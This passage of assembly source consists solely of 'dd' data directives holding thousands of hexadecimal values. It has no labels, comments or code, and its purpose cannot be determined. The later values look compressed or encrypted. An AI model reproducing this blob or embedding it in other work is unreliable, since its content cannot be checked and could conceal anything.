0F9BA12F8h, 92CE245h dd 12CC89D4h, 48BC24C4h, 22A491B0h, 8894449Ch, 70127C89h dd 5C486424h, 40225091h, 89303844h, 241C1228h, 0B80C4814h dd 1140F844h, 12E889F0h, 48D024DCh, 22BC91C8h, 0A4AC44B4h dd 94129C89h, 7C488824h, 68227491h, 89546044h, 2440124Ch dd 91284834h, 4510221Ch, 0F827C20Ch, 22EC11D8h, 0D0D844E4h dd 0C012C889h, 0B048B824h, 0A022A891h, 89909844h, 24801288h dd 0E4704878h, 915C4864h, 44482250h, 2C893840h, 1C242412h dd 845E25Fh, 0FF822C2h, 0EC48F004h, 0DC22E491h, 89CCD444h dd 24B812C4h, 91A848B0h, 449822A0h, 80898490h, 6C247412h dd 5C916448h, 44445022h, 122C8938h, 481C2424h, 1B049110h dd 22D90EF4h, 0D844E009h, 12C489CCh, 48B424BCh, 22A091ACh dd 88904498h, 74127C89h, 5C486824h, 48225091h, 89384044h dd 24281230h, 91184820h, 0E1082210h, 0B20DF811h, 24E409E1h dd 91D448DCh, 44C022CCh, 0A889B0B8h, 9824A012h, 88919048h dd 70447C22h, 12588964h, 48482450h, 22389140h, 20284430h dd 0C121889h, 0FC4F0424h, 44F02230h, 0D889E0E8h, 0C024D012h dd 0B091B848h, 0A044A822h, 12908998h, 487C2484h, 226C9174h dd 48544460h, 38124089h, 28483024h, 10221C91h, 22C20845h dd 0EC040BF4h, 0DC91E448h, 0C844D022h, 12B889C0h, 48A424B0h dd 228C9194h, 6874447Ch, 54126089h, 44484C24h, 30223891h dd 891C2444h, 2E0C1214h, 0AF41011h, 0E044E822h, 12CC89D8h dd 48BC24C4h, 22A891B4h, 909844A0h, 80128889h, 70487824h dd 5C226891h, 894C5444h, 243C1244h, 91244830h, 4510221Ch dd 0F822C208h, 48EC0409h, 22D491E0h, 0B4BC44C8h, 0A012AC89h dd 94489824h, 88229091h, 89748044h, 2464126Ch, 91504858h dd 44382240h, 1C89242Ch, 8241412h, 0F479225Ch, 0F162D9DFh dd 0CC440916h, 12B889C0h, 48A824B0h, 2290919Ch, 78804488h dd 64126C89h, 50485824h, 38224491h, 89283044h, 24181220h dd 8804480Ch, 0F01107FCh, 0E044E822h, 12D089D8h, 48BC24C4h dd 22AC91B4h, 949C44A4h, 84128C89h, 74487C24h, 64226C91h dd 89585C44h, 24441250h, 912C4838h, 44182224h, 0F888040Ch dd 12EC8106h, 48D824E0h, 22C891D0h, 0A8B444BCh, 9812A089h dd 88489024h, 78228091h, 89687044h, 2450125Ch, 91444848h dd 4434223Ch, 1889202Ch, 112E0C12h, 2205F810h, 0DCE444F0h dd 0CC12D489h, 0B848C424h dd 0A422B091h, 89909844h, 247C1284h, 916C4874h, 44542260h dd 4089444Ch, 30243812h, 20912848h, 10441822h, 46848B08h dd 0C8E904F8h, 0E091E809h, 0D044D822h, 12C089C8h, 48A824B0h dd 2290919Ch, 707C4488h, 5C126889h, 4C485424h, 3C224491h dd 89283444h, 24141220h, 37E25F0Ch, 48D903F8h, 2FF245BCh dd 0E48B7C91h, 12B80959h, 48A824B0h, 229491A0h, 80884490h dd 6C127889h, 5C486424h, 48225091h, 89384044h, 24281230h dd 91144820h, 3704220Ch, 48F102F8h, 2FF245BCh, 228B7C91h dd 0B844BC09h, 12A889B0h, 489824A0h, 22889190h, 6870447Ch dd 54126089h, 44484C24h, 30223C91h, 891C2444h, 2E081214h dd 1F81B11h, 225EA4E9h, 0BEC817F9h, 0C0099145h, 0AC44B422h dd 129C89A8h, 48842490h, 226C9178h, 50584460h, 40124889h dd 28483824h, 14222091h, 89040C44h, 0F404C2FCh, 0DC91E848h dd 0C844D422h, 12B489C0h, 48A024A8h, 22889194h, 6C744480h dd 58126489h, 44484C24h, 38223C91h, 89243044h, 2410121Ch dd 0FFFC4208h, 9D48C42h, 12DC89E8h, 48C824D4h, 22B491C0h dd 9CA444ACh, 8C129489h, 74488024h, 60226C91h, 894C5844h dd 243C1244h, 91284834h, 44142220h, 0FC88040Ch, 12F481FEh dd 48E024ECh, 22C891D4h, 0ACB844C0h, 9C12A489h, 88489024h dd 70227C91h, 89606844h, 244C1254h, 91384840h, 44242230h dd 0C89141Ch, 0FC230412h, 8BD974FDh, 0D80959C4h, 0C424CC12h dd 0B491BC48h, 0A444AC22h, 1294899Ch, 4884248Ch, 2278917Ch dd 5C684474h, 44125089h, 34483C24h, 24222C91h, 89182044h dd 2E081210h, 0FCF41011h, 0E044E822h, 12D089D8h, 48C024C8h dd 22B091B8h, 909844A4h, 80128889h, 68487024h, 54225C91h dd 89404C44h, 24281234h, 9110481Ch, 0FB407F04h, 12E489F0h dd 48D024D8h, 22BC91C4h, 0A0A844B4h, 8C129889h, 78488024h dd 68227091h, 89586044h, 24481250h, 91344840h, 4420222Ch dd 4890C14h, 2FAFC11h, 48EC24F4h, 22DC91E4h, 0C4D044D4h dd 0B012B889h, 0A048A824h, 90229891h, 89808844h, 24701278h dd 91604868h, 444C2254h, 28893040h, 18242012h, 8911048h dd 0F9F88870h, 0E412F081h, 0D448DC24h, 0C422CC91h, 89ACBC44h dd 249412A0h, 9184488Ch, 4474227Ch, 5889646Ch, 48245012h dd 38914048h, 24443022h, 1214891Ch, 5C04240Ch, 81F87122h dd 24EC12F4h, 91D448E0h, 44C822CCh, 0AC89B4BCh, 9C24A412h dd 84919448h, 74447C22h, 1264896Ch, 4854245Ch, 223C914Ch dd 202C4434h, 10121889h, 0D05F0424h, 44F022F7h, 0D089D8E4h dd 0B824C012h, 0A491B048h, 90449C22h, 12808988h, 48702478h dd 22609168h, 4C544458h, 38124089h, 28483024h, 14222091h dd 88040C44h, 0E1D9F6FCh, 0E012E809h, 0C848D424h, 0B422BC91h dd 89A4AC44h, 2494129Ch, 9184488Ch, 4470227Ch, 50895864h dd 40244812h, 30913848h, 20442822h, 12108918h, 0F5FC2204h dd 0EC48F404h, 0D422E091h, 89C4CC44h, 24B412BCh, 91A048A8h dd 448C2298h, 74897C84h, 5C246C12h, 48915048h, 34443C22h dd 1224892Ch, 5C0C2414h, 0F4F82022h, 89E4F044h, 24C812D8h dd 91B048BCh, 449C22A8h, 7C898490h, 6C247412h, 5C916448h dd 48445422h, 1234893Ch, 48282430h, 2210911Ch, 0FC11E108h dd 9D1B2F3h, 48E024E8h, 22CC91D4h, 0B0BC44C4h, 0A012A889h dd 90489824h, 7C228491h, 89646C44h, 24501258h, 91404848h dd 44302238h, 10891C28h, 112E0812h, 0E1F2F81Bh, 0C8225EA4h dd 0D091D809h, 0BC44C822h, 12AC89B4h, 489824A0h, 22889190h dd 68744480h, 58126089h, 48485024h, 38224091h, 89243044h dd 2410121Ch, 37225C08h, 48E1F1F0h, 2FF245BCh, 0E48B7C91h dd 12A80959h, 489424A0h, 2280918Ch, 58644470h, 48125089h dd 30483C24h, 18222491h, 23C20C45h, 0C974F0F8h, 959C48Bh dd 24CC12D4h, 91BC48C4h, 44AC22B4h, 908998A4h, 7C248812h dd 6C917448h, 5C446422h, 124C8954h, 48382444h, 2220912Ch dd 8104418h, 0F844848Bh, 91EC08EFh, 44E022E8h, 0C089C8D8h dd 0B024B812h, 0A091A848h, 90449822h, 12808988h, 48702478h dd 22649168h, 4C544458h, 38124489h, 28483024h, 18222091h dd 88081044h, 5A80EEFCh, 0C1745A79h, 16696B87h, 5DDEF318h dd 7511560Ch, 0C93846BDh, 0BFD86310h, 863A36DEh, 6B61646Ch dd 623CCF21h, 4A7810D4h, 0B7EAE167h, 77950C21h, 18A066EAh dd 94010FBFh, 0CF633C08h, 591B3FE9h, 6FA31875h, 532D6BA8h dd 7D249BBFh, 6609CE18h, 977C0D34h, 547649E1h, 5D82FE08h dd 74088D6Eh, 10610499h, 0F774B862h, 74D621DEh, 106F28F2h dd 86679AFBh, 465A6E11h, 456D1033h, 97160814h, 0ED56E09Eh dd 66795091h, 66E87210h, 0C8576475h, 2D286476h, 6C9DD050h dd 18108A3Ch, 866E6508h, 485559DEh, 10926887h, 21BA6C9Ah dd 74676940h, 91B80845h, 119B306Fh, 4A6C75F7h, 21DC57CCh dd 1211B6A0h, 0B5B226D3h, 0AE195637h, 6AEAE3F3h, 6E153931h dd 420C4323h, 0DE17008h, 6D0A0A6Ah, 72F83208h, 1B675C85h dd 117E74B3h, 20AB73F0h, 7243107Ah, 58734166h, 455603F1h dd 817D7FDh, 68578AA8h, 0A8EE3589h, 680C43B6h, 6547087Eh dd 0E1F76F08h, 2D11AA43h, 10DD79F4h, 0E17A207Fh, 7D1BAB14h dd 6C88666Ch, 0FAF9AA67h, 0D671E09Bh, 101B34ABh, 40507267h dd 0AA68CF11h, 69CC0A10h, 0B4BB404Dh, 7AE282DBh, 0BF6914A7h dd 321E3492h, 0C540620Ch, 0CA96472h, 4265236Eh, 0F6926918h dd 0C55BB2Bh, 0E4FBD0ADh, 18406D3Eh, 4E564194h, 0C9C420DBh dd 1C92FA5Ch, 664CE52Fh, 20A3791Ch, 63D09650h, 5AB5D9ABh dd 0A0A52168h, 0CB25162h, 0A4448748h, 0B810D276h, 68204228h dd 2C29EB78h, 289A10B7h, 242319CDh, 6E115630h, 49FD6963h dd 1DADF248h, 0A4245938h, 1920C020h, 757A5512h, 73826C37h dd 0C7D99B64h, 3B6711CCh, 9ED1422Dh, 52206016h, 70341862h dd 0E33B8942h, 6D4CDFEEh, 0A934455Bh, 54890E20h, 727DA47Ah dd 0F261CDAAh, 13DE6164h, 691A7512h, 0C90808FCh, 116A6B11h dd 0FA106DC1h, 641050ACh, 0A5656721h, 36BC68F1h, 29463273h dd 2D0C766Fh, 0DCDDE0F8h, 0B0340CA9h, 0F01612C6h, 0AB757A72h dd 79482160h, 908D10B4h, 1F7010A9h, 1214296Ch, 45F7A865h dd 829A008h, 0F58AE6EBh, 6E9BCF80h, 770822E5h, 14729785h dd 6B3C7408h, 5CBD08D5h, 7003916Fh, 0D1E66C75h, 20F8A1F1h dd 0C783DE3Bh, 0E4114764h, 0A1D71068h, 5F482F08h, 0CA17075h dd 69762466h, 0A490A8ACh, 0A66EFDE3h, 10EDF481h, 0ABD1506Bh dd 0A9685178h, 1A2C8FC6h, 35F8FEA2h, 2857E911h, 59A30864h dd 519CE446h, 48531F2h, 5A05857Ch, 0E2D5BCDBh, 6824B194h dd 0DA786C36h, 0C88F2296h, 0EF0CAA9Ch, 56115746h, 106AA86Dh dd 61106C29h, 0CD27F09Fh, 19A6311h, 236E70D1h, 0C4612408h dd 0DF7610CCh, 0ECC13528h, 10AA7830h, 617E8A89h, 971C7A14h dd 0CB72E0E4h, 0C08B6D11h, 0FA11A80Dh, 4C6FAA69h, 9DF6938h dd 6698C87Ah, 83625310h, 0EA117429h, 0C53B574h, 0ECB70C22h dd 0A65F94Ch, 6F0886A0h, 3633096Fh, 1EA91054h, 7AC45976h dd 3836D934h, 66F5F318h, 0D8088DC6h, 85BB004h, 9E114D39h dd 72E12045h, 0C5D24054h dd 7520AA69h, 0DD767A13h, 0B3319019h, 0DC0CA2C5h, 220C2B49h dd 3B81AA08h, 7096E720h, 0F720842Fh, 2DD45725h, 5213BA4Fh dd 2555106Eh, 8283C6EEh, 286BA90Ch, 41AF1850h, 8437208h dd 11276D66h, 64463462h, 7DB990ACh, 0F96E11B7h, 0B8AD6F4Ch dd 5C280DE2h, 1C08A1BFh, 0D025236Dh, 1179668Fh, 6956E74Dh dd 107034A0h, 864E60Ah, 0E7831428h, 149273EAh, 0AC3FE3FEh dd 10E8C368h, 78686315h, 41ED0CD1h, 46117E08h, 7A691010h dd 64324FD2h, 18996C74h, 4A46572h, 1CC71008h, 74F9A05Bh dd 1936C4A5h, 6B08896Eh, 750970E9h, 7208022Bh, 10DFAC4Ch dd 0ACC4C0F5h, 116D0C4Bh, 0C4D76BCh, 109AE428h, 1061887Dh dd 814639Ah, 0AD26EB64h, 0F1AC7216h, 0BAAA18DAh, 0A258BC42h dd 10B41B41h, 106C590Dh, 6B345361h, 654C5845h, 4679C5C2h dd 20892E08h, 0DBB82C69h, 16DA4910h, 0BDD8116Bh, 1536624Ah dd 0F42FAA18h, 35143445h, 2461840Ch, 0E618A14Ch, 9FD70893h dd 0CEF3DF90h, 0B5114F74h, 4421A6D3h, 8A27426h, 6BE294D0h dd 64EC3311h, 376B4010h, 8C537086h, 3319D580h, 0BE206429h dd 0C5DFF7Fh, 24B1843Fh, 0D4102408h, 41DBA32Dh, 48872A0Ch dd 0D33B08FAh, 596E241Ch, 3C087915h, 64F8FC6Bh, 69F614A4h dd 7FC740ABh, 40CB223Fh, 26739366h, 6D9A7810h, 0D54CF310h dd 0D3904859h, 1CFABC27h, 0E809683Ch, 0F4276113h, 90CD6BC5h dd 0A4FF10BEh, 0A462FC24h, 4048FF10h, 64752663h, 4104D7Dh dd 96C4A589h, 8A126810h, 3C72D30Dh, 150CAFE2h, 75167C24h dd 5C766C79h, 2AC6DF19h, 0B46AA08h, 395A0E08h, 205D67A7h dd 8426BA44h, 4E88AA10h, 0FC19D34Ch, 20A67D2Ch, 114D6A96h dd 341C0935h, 0C0B7F361h, 450C1A9Fh, 44141466h, 1E6F7C42h dd 6F3C6F2Ah, 0B2C27969h, 0E1770804h, 1177C778h, 0A50C8882h dd 0F743225h, 9A087410h, 620829B6h, 72082584h, 804F289h dd 6C701832h, 30E3D088h, 1F8E2A9Eh, 68522D7Ah, 374EDEBBh dd 0A11B8921h, 786C1029h, 884ECA0h, 8416668h, 54646412h dd 0D7746192h, 523714CCh, 734E4679h, 11A7DB89h, 0DC55090Fh dd 32641899h, 33199A6Fh, 6F091208h, 10903679h, 909776Ah dd 670C5439h, 10DA98A6h, 10610D80h, 18490D54h, 0DEEBEE62h dd 6C28A518h, 0AA6C2108h, 8D4D145h, 841E35Ch, 8A799112h dd 6F928908h, 26DF24FCh, 0AE1AEF7Ch, 96B4985h, 27A67008h dd 669F116Fh, 0A110D086h, 0C920AA77h, 66966C75h, 0D927FC43h dd 0BC166DF8h, 75716413h, 18DAE1FCh, 2D6E2B48h, 0A50C544Ch dd 5AA5301Eh, 0FC11DD20h, 1169115Dh, 1370B70Dh, 64DC6708h dd 2849AE84h, 88B8B6Ah, 2B36F0CEh, 6B86CA18h, 0DE62912Ch dd 5C69A424h, 0B6B529DCh, 9DE54210h, 9424506Bh, 3CF1F3A2h dd 0FC11DBD7h, 0E14A6AF2h, 92F14584h, 7D502D99h, 781012D1h dd 184DDCB1h, 8437528h, 8DB37A69h, 76651813h, 84164A8h dd 6CA884BDh, 0AA70FC08h, 0A6AAD0BFh, 0CD10D26Ch, 0C10B481h dd 411E445Bh, 806EF7Ah, 0A9797B2Ch, 18556B08h, 38565994h dd 88210BBh, 369B12D2h, 0FAF5190Fh, 0E9FEC68Fh, 85093440h dd 9DB8C912h, 6BC46110h, 68267465h, 68D01084h, 456795D4h dd 34D0E210h, 66C365ABh, 54A873CAh, 8324DC9h, 58BB6208h dd 75721930h, 34659B7Ah, 95B46519h, 149A99FBh, 11295A0Ch dd 828CC4Ah, 411CDD0h, 94105DB9h, 0DE94186Fh, 106A3949h dd 107915DCh, 10524149h, 6303245Bh, 0A3DD614Ch, 30C45C6h dd 54786482h, 0F0B2D2EFh, 830B7462h, 18C9ACCCh, 2AC14276h dd 106D7B08h, 8B850CA5h, 0B11C246Fh, 1552189h, 34666508h dd 14AA648Ch, 0BFA80F62h, 4372663Ch, 196D9C9Eh, 0A573DAF7h dd 9FC76D08h, 0D470441Bh, 0D0527118h, 505B37D5h, 0DCDE0CF3h dd 636F5D7Ah, 729446A4h, 5DEFD070h, 56F173FBh, 0E4845A0Ch dd 0E20A10D2h, 0BEA01075h, 72526F71h, 42294C28h, 44586774h dd 446B9Dh, 4F1E48A2h, 6F242C76h, 1E29C413h, 8D741312h dd 0DF11BEC0h, 9E199236h, 0A9BB2F90h, 0C870183Bh, 702D9E69h dd 0C5388B03h, 0D210E666h, 9F2CF9D6h, 276808AAh, 164F8CC4h dd 0B621FC76h, 3C24A142h, 0AB7A739Eh, 0C332550h, 16651123h dd 0A418C964h, 4526C160h, 29F71D4Fh, 6F897E99h, 7B95BC92h dd 314EC6A9h, 0D9C93B11h, 5E78C43Eh, 3442255Eh, 9B4989DDh dd 90186B28h, 18D32C14h, 6C3E45B8h, 0CD36638h, 379FE952h dd 96746F3h, 0A2E28582h, 26660825h, 755210C4h, 73487D50h dd 0EF10DBADh, 673461E4h, 16E38AA5h, 89509764h, 78CB1A13h dd 25A91141h, 5E08147Dh, 25701630h, 6B88B23Eh, 112C2C18h dd 2257BC4Dh, 1669689Bh, 0F41B2D0Ch, 136C102Fh, 94114466h dd 0C211D26Eh, 10896988h, 1026E833h, 104D1A64h, 1EEAE004h dd 4D11F5AEh, 6EA66DFh, 7EB11964h, 326811B2h, 6D5D0278h dd 0A8199A90h, 74A08A8h, 14869A20h, 16D04F90h, 6DCD5308h dd 1202310h, 2E682843h, 3960910Ch, 0F928A476h, 838102Ah dd 9EA0DB41h, 531484CFh, 98415868h, 57BE7504h, 43C5F9CCh dd 67F44CCCh, 25D866D8h, 0C26C2749h, 520088Dh, 32E4B2FFh dd 6B7A9847h, 3C4BA583h, 0AD636B69h, 0C10D934h, 868CA14h dd 25F4624Bh, 0CC646508h, 27EE8184h, 0A4658D0Ch, 9ECF3962h dd 1C72754Ah, 786055BCh, 0A90C450Eh, 3234183Eh, 0D9596425h dd 8456826h, 0A51410EFh, 6E591443h, 0AA08A37Eh, 0D0B9CE6Bh dd 0D66F9818h, 4E50119Bh, 6C2A671Fh, 0A8BE1475h, 0DEA07215h dd 0E5826ED6h, 0A8088979h, 4F260822h, 85D68B4h, 263C98A9h dd 106D126Bh, 5654CCA8h, 487CC473h, 10D9CD49h, 4C3B2C67h dd 410CD0FBh, 463012C0h, 88AC0664h, 2899E2F9h, 24292F64h dd 0DE5118AFh, 0FABE2021h, 93082CD0h, 792AE0F9h, 2B625D14h dd 610B926Fh, 6F09FA0Fh, 0C82DCC6h, 10DA975Ah, 0ED854399h dd 80542856h, 0F8119AEFh, 284DFBE6h, 59720E99h, 4D0C4D6Fh dd 54D97B30h, 75721084h, 4E8C8A62h, 8E91C5Eh, 0D952A8A4h dd 0B4C02B56h, 2D50FE18h, 89E54B08h, 5F2A4019h, 0AC0CA913h dd 87314DCh, 0CB586889h, 450C6B56h, 0E627551Ch, 0AA1969A0h dd 5AE968CFh, 1456F374h, 0EE5C838Fh, 0F410834Fh, 0B865DCD9h dd 196DD367h, 68513242h, 2D099211h, 23AF7948h, 8E0825F4h dd 2685A508h, 1E081779h, 7708A841h, 11D3D864h, 78A47963h dd 496732F1h, 0B4FD964Ch, 404DF579h, 72E9C549h, 0DD0C92F6h dd 6E55EEC6h, 7D4350Ch, 4F185A81h, 766BBDB3h, 8240CABh dd 782E6F4Ch, 637411B1h, 205ED9FEh, 22ABBC14h, 6D419614h dd 7A836910h, 0DBF411DDh, 7ADE101Dh, 0BF776F08h, 11F826DAh dd 28A973EEh, 9E8C6862h, 85A86F1Bh, 0A877084Bh, 1520F6B8h dd 6B7618CBh, 0B011560Dh, 0ECD01069h, 6854E89Ah, 74B4630Ch dd 3A5F6944h, 4C827AAEh, 7C987611h, 80F8682h, 4B4F3055h dd 0E4F66E24h, 0FB74186Ch, 8576BE9h, 11656C92h, 6FD3C670h dd 0D1D00C22h, 1C0AD30Ch, 3AB52065h, 8147FB1h, 0F3511834h dd 61527818h, 33144D10h, 486D1173h, 742EE809h, 0CCA825D2h dd 8E08480Ch, 0DA106D65h, 0DA29C45Eh, 987AFC10h, 0A268A2F1h dd 50800884h, 452D276Ch, 8C38586Eh, 0A96565E0h, 8D081664h dd 1810A6C8h, 711443A4h, 0D33E9F1Ch, 25275E14h, 6888C389h dd 25DF1187h, 2C114F2Dh dd 69109AFAh, 204574DCh, 0AC24D496h, 0BCA59D08h, 64084873h dd 6D6024C9h, 186B8CF3h, 10C99C66h, 1A749B66h, 5C756210h dd 4B18480Ch, 1CDA77F4h, 4E989BDCh, 0B2928D18h, 0AB720E10h dd 7E452A10h, 2AA258BCh, 11D6DB73h, 83CA1BFEh, 0A18D104Eh dd 62CD11BBh, 0C17C0841h, 20091045h, 1C32E225h, 80D61069h dd 0BC60106Dh, 98625D79h, 4C7C2F9Fh, 242A10CDh, 0B6081AC3h dd 1411C2E2h, 3092C66Dh, 0A183D588h, 6E688830h, 0CBF446C9h dd 799B6210h, 0A2BFC4C5h, 0D69678ECh, 0D2087414h, 5A62F149h dd 8C7DF997h, 8F0B109Ah, 4420043h, 4B2A690Ch, 0C1C45FAh dd 11B5E909h, 7C98E694h, 0AC9C3498h, 6F187A53h, 11F9DC73h dd 0A65EC770h, 20BEF02Dh, 4D8873A4h, 96F14511h, 6D4E10C1h dd 18118AC4h, 87E68B8h, 58BCDE48h, 7D8046A7h, 4AEC7556h dd 11A1BF8Dh, 8497A038h, 0C49F8A48h, 8710D391h, 3C20FA11h dd 69006B24h, 52681C25h, 968A130h, 0F610A8B0h, 81056E5h dd 63961490h, 36AE11B5h, 889D1124h, 0EAEBA0FDh, 5541D03Fh dd 83050C73h, 86105626h, 8D11D293h, 0BE11A065h, 0CC8E19Ch dd 62A51C21h, 0C9BCCC16h, 26AD6219h, 186F5676h, 45A178F5h dd 711F6880h, 6F216C52h, 6E22B619h, 0EDB8B4Ah, 86A9E83h dd 11D4FD92h, 0E278414Bh, 9809814Ah, 18D7E0C6h, 84F9F84h dd 0CD73E868h, 51C1D56h, 0DF99A80Ch, 3F77A43Bh, 0AF6D114Dh dd 0BE7C2043h, 0E9C1B760h, 10B416F1h, 218D2AA5h, 0E7097961h dd 8822FD6h, 790389D5h, 0B518B714h, 0A5C5296Ah, 2851C218h dd 67C41C08h, 825B9C4h, 6808CA51h, 0B4200897h, 10DA8086h dd 49C402DDh, 0F1484C79h, 0C8F29645h, 0C6F5189Ah, 9A10D82Eh dd 794C7665h, 0E419DA85h, 162AF128h, 10B6263Bh, 780933FFh dd 50496759h, 38AA691Ch, 0F76BA5A7h, 0BC0CFA77h, 8456844Ah dd 480C45A6h, 2437AA79h, 4F747583h, 139FF145h, 0A1EC720Ch dd 0CEAA223h, 20A47071h, 241171BDh, 8A0CA21Fh, 344F79B1h dd 426B119h, 0AD1789ACh, 0C7641B19h, 4509FBFEh, 0ECF220D8h dd 4869F1FCh, 2D086C68h, 1026EC13h, 106C7472h, 0B7589170h dd 44159F10h, 260FC44Eh, 82CA11EBh, 74941079h, 6DC4D718h dd 0E86D184Eh, 8D794973h, 6E6B11B7h, 0E1BAB574h, 4A340808h dd 27182150h, 2AF1C446h, 15A99B5Ch, 68B65A3Eh, 0CC6CB778h dd 482C63F1h, 62721A60h, 2003D419h, 7510CB25h, 10326351h dd 6A84B273h, 20015638h, 4E009A08h, 18A52664h, 6E0075F7h dd 0C24E384h, 10693DE2h, 0A9684885h, 0C7189B2Ch, 82C872C6h dd 532DF008h, 8D5A2873h, 6910935Dh, 10626AA2h, 18927466h dd 2413E79Ah, 85EAC4C5h, 5036FE87h, 9A794D18h, 4C330845h dd 6B771062h, 0CD81092h, 301B9082h, 64DBF2CCh, 6E57411h dd 5BF2140Dh, 0A00CA164h, 678F8108h, 7414B2F6h, 9D0822E8h dd 37760385h, 86F1C95Ch, 0C588553Ch, 77304565h, 0E1A78820h dd 785573F6h, 116BF5A3h, 10C1AB8Bh, 550596Ah, 943035ECh dd 6A69F755h, 453AE019h, 0BC81F9E2h, 688FE44Ch, 0C1AECBAh dd 8C429433h, 47086110h, 66146F75h, 818110B4h, 65676F74h dd 895FD3CEh, 65AA08EAh, 27910828h, 57E5CCB3h, 0D6BAC9D2h dd 2CFD0CAAh, 187395AFh, 515EA959h, 0A6920C5Eh, 0ED186860h dd 6FF03B20h, 1020DCB4h, 4D7967A9h, 875C2A08h, 8A10C29h dd 6C6B6125h, 186D1C26h, 69222696h, 0D039FA19h, 67380838h dd 611010D2h, 90FD9773h, 28C4109Ah, 0C05889Fh, 546F1468h dd 5836D208h, 0BA33EF10h, 5720116Dh, 7AFC8BF7h, 138C2F2Fh dd 78746823h, 89BDBA41h, 61A56D10h, 0F3E5451Bh, 8810680Fh dd 7CB17634h, 0CD1A10ACh, 0F3762A11h, 266D5B19h, 5B51063h dd 1019792Eh, 672B6F66h, 0AC44CBD8h, 18D20D84h, 0D0E6BC84h dd 7375460Dh, 0E30804A5h, 681068ECh, 0C761104Dh, 9D412DC4h dd 0C6E42913h, 8840EDDh, 51538594h, 0D722EA18h, 280C106Dh dd 0D90841F0h, 40643F64h, 4C080C51h, 0CE226D49h, 0C17AD61h dd 6145148Ah, 2DF410F1h, 52C49A44h, 6E141073h, 6BCA087Ah dd 0C72D92EBh, 10742F9Dh, 0A877EA97h, 0DD9443CBh, 79650831h dd 709E7208h, 73EE08A2h, 0AA6E10AAh, 78420C82h, 8D7E582Bh dd 0A8D11C22h, 0A7F192B0h, 0CB753142h, 8219FEB4h, 0BA2C2FB3h dd 0B7595648h, 37E85D10h, 0CF19681Ch, 15CD6C16h, 0AB2819A1h dd 65103761h, 0D710506Fh, 0D44B5442h, 68C9D14h, 6ED0840Ch dd 0B2A7DE0Ch, 780C13FFh, 0B187D47Dh, 7A6A1098h, 21186F55h dd 619924BCh, 92552F97h, 279E00A9h, 12274425h, 6E084A08h dd 0F3F7BF08h, 0E22C590Dh, 0E83ED5AFh, 8D18A208h, 0AF6C089Ch dd 0C90821DAh, 0C5D56FECh, 0C6621099h, 387E328Bh, 156F5024h dd 6C702FF7h, 0D96BF97Dh, 26EDE38Bh, 34CB1074h, 0F910CC6Eh dd 889103Fh, 736F6482h, 0D2644632h, 78EAB310h, 8D997071h dd 109874BCh, 10359E99h, 24E7D0B1h, 0CDCC6CD1h, 2A206510h dd 0C4164B6h, 66FD2935h, 0A950C55h, 64F3ACD9h, 0C683241h dd 96648173h, 6E106C2Ch, 76F994ACh, 47DE782Ch, 627F08A8h dd 4CD170A4h, 7744131Ah, 75E1198Dh, 0DA68E905h, 0CE346C18h dd 97336610h, 0D2278666h, 84CF57F7h, 0BCC98972h, 64124F5Ch dd 29199776h, 8086775h, 73C27974h, 66723069h, 5E65468Eh dd 5E4C8E10h, 0AA7294E4h, 3D8E7E08h, 0EBD7116Eh, 9710E526h dd 6911D82Ch, 0E573E1FDh, 0B442166Eh, 8C132D9Ah, 0BB6C182Fh dd 66192437h, 0E97A9FC1h, 0D996A80Ch, 6F651150h, 9A506B15h dd 0A0AC7118h, 0AA1BB5B4h, 7458C2C4h, 10D7F07Ah, 0AE622DE0h dd 0E25AD28Ch, 0F8116957h, 1B108A1Ch, 0C8107DFBh, 10B27AE0h dd 35FC6570h, 0E22C8D19h, 3AC42726h, 0C557571h, 116FB133h dd 522D8E58h, 1022BEBBh, 64C20895h, 631393C8h, 186D78B6h dd 41409FAh, 48C6BD81h, 0B522D36h, 0BC3AF55Fh, 406C42F1h dd 87614F4Ch, 472C4AD8h, 0EE5EEF47h, 0DD186D47h, 9AD83877h dd 6DE57410h, 8E057A10h, 809756Ch, 0A0887567h, 419A4F30h dd 6372A102h, 9CB622FCh, 0F2705E21h, 41B37870h, 57D711B4h dd 9241493Ch, 21BEFB07h, 253879A9h, 0B49870h, 586F12CDh dd 79433856h, 9E4468F5h, 7899773Eh, 584348BCh, 0AD10DBC0h dd 109B3CA8h, 9AA2907Ch, 848B9DCh, 8A05826h, 104D8B94h dd 11B4C94Dh, 68D6E31Ah, 0A520EE39h, 0D4680B9Dh, 7310ECE8h dd 34B84595h, 0CDCCC718h, 8D080474h, 0A1D47EA8h, 80FC994h dd 3E827364h, 63149161h, 112C69EBh, 0CC65895Fh, 0CD18D688h dd 1A10AD60h, 28080944h, 442F08F9h, 7F11DFB2h, 0C320A2FAh dd 304DDDA5h, 16713262h, 36EEB5E3h, 3D9010E0h, 2C4D408Bh dd 11C27A55h, 0AB6B7261h, 79248518h, 0F9860853h, 6434F112h dd 0CCD89472h, 939F6318h, 611035AEh, 6C1882FAh, 4CBEC8D6h dd 25844BC5h, 0F426085Ah, 0DA5C224Eh, 2ECB0918h, 4094C25Eh dd 0BFA20C34h, 105B0C46h, 74B40C57h, 0DAF3EC18h, 8EE0B18h dd 574F0825h, 7AF18DB5h, 0D1100C44h, 4E0842E8h, 344528EDh dd 3C3CA8A1h, 1569CD5Fh, 8958EE0Ch, 0A4796B8Eh, 849FB0Ch dd 8051625h, 73289FBDh, 60705508h, 0FC6C5A65h, 0DA94116Fh dd 344B54D1h, 0E10812CFh, 0B4376BD6h, 4A90EACBh, 280C1A27h dd 65940892h, 429CD410h, 14524FCCh, 198A9CD9h, 0B1246570h dd 96974A8h, 0C2365AF7h dd 58A865C9h, 78C22D83h, 11E3082Dh, 0D6E6908h, 0E4BD79E9h dd 27C9D4Fh, 54787410h, 1931ABB4h, 88FA7570h, 123208E0h dd 0C6FA863h, 5A61F24h, 0C230C34h, 58BCA563h, 0F65F19DBh dd 19B4ECD9h, 0B23817A5h, 6D11658Fh, 0F650A324h, 0DBD7950Ch dd 9CCDCD19h, 6E0B74E2h, 0D9794204h, 5610B4B8h, 109626C9h dd 0E205C961h, 145EB5C2h, 9572104Ch, 0C074FBAh, 41089A6Bh dd 18797A64h, 4E6E4265h, 8523484h, 0E9109866h, 109A0C6Ch dd 0F129E657h, 8D371E2Eh, 7F11696Bh, 1004F2B5h, 4B08C351h dd 91085510h, 6AA97841h, 78084D73h, 0F818DAB9h, 855E955h dd 83A2397h, 0E22D54A1h, 542012E5h, 0BE2020E3h, 341434E3h dd 0C8105A08h, 111BFF0Bh, 8F06FE2h, 6D0853E1h, 0D3C96584h dd 27DC11B4h, 0AD6AF410h, 61189A38h, 85572E3h, 10D96CBCh dd 74BE6C75h, 411C6652h, 55E654D9h, 1169C808h, 11B752F1h dd 